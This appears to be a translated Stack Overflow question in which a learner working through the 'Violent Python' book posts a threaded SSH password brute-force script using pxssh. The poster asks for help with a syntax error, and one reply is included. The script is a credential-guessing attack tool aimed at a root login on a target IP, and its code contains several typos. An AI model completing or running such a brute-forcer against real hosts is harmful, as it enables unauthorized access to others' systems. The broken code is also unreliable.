好吧,我使用暴力Python书,并制作了一个SSH暴力程序。当我运行下面的代码语法错误,我似乎无法找到
import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxconnections)
Found = False
Fails = 0
def connect(host, user, password, release):
global Found
global Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+} Paassword Found: ' + password
Found = True
except Exception, e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect9host, user, password, False)
finally:
if release: connection_lock.release()
def main():
parser = optparse.OptionParser('usage%prog '+\
'-H <target host> -u <user> -F <password list>')
parser.add_option('-H', dest='tgtHost', type='string', \
help= 'specify target host')
parser.add_option('-u', dest='user', type='string', \
help='specify the user')
parser.add_option('-F', dest='psswdFile', type='string, \
help='specify password file')
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.psswdFile
user = options.user
if host == None or psswdFile == None or user == None:
print parser.usage
exit(0)
fn = open(psswdFile, 'r')
for line in fn.readlines():
if Found:
print "[+] Exting: Password Found."
exit(0)
if Fails > 5
print "[!] Exiting: Too many socket timeouts"
exit(0)
connection_lock.acquire()
password = line.strip('\r').strip('\n')
print "[-] Testing: "+str(password)
t = Thread(target=connect, args+(host, user, \
password, True))
child = t.start()
if __name__ == '__main__':
main()
,并使用下面的命令上终端运行它:
python brute_force_ssh_pxssh.py -H 10.10.1.36 -u root -F pass.txt
我得到这个错误:
File "brute_force_ssh_pxssh.py", line 17
Found = True
^
SyntaxError: invalid syntax
我检查了示例代码,它是写完全这个...任何帮助非常感谢。 (我仍然是Python的noob)。谢谢!
你似乎也错过了关闭'''以及。注意SO语法突出显示的位置会让人感到困惑。 – mgilson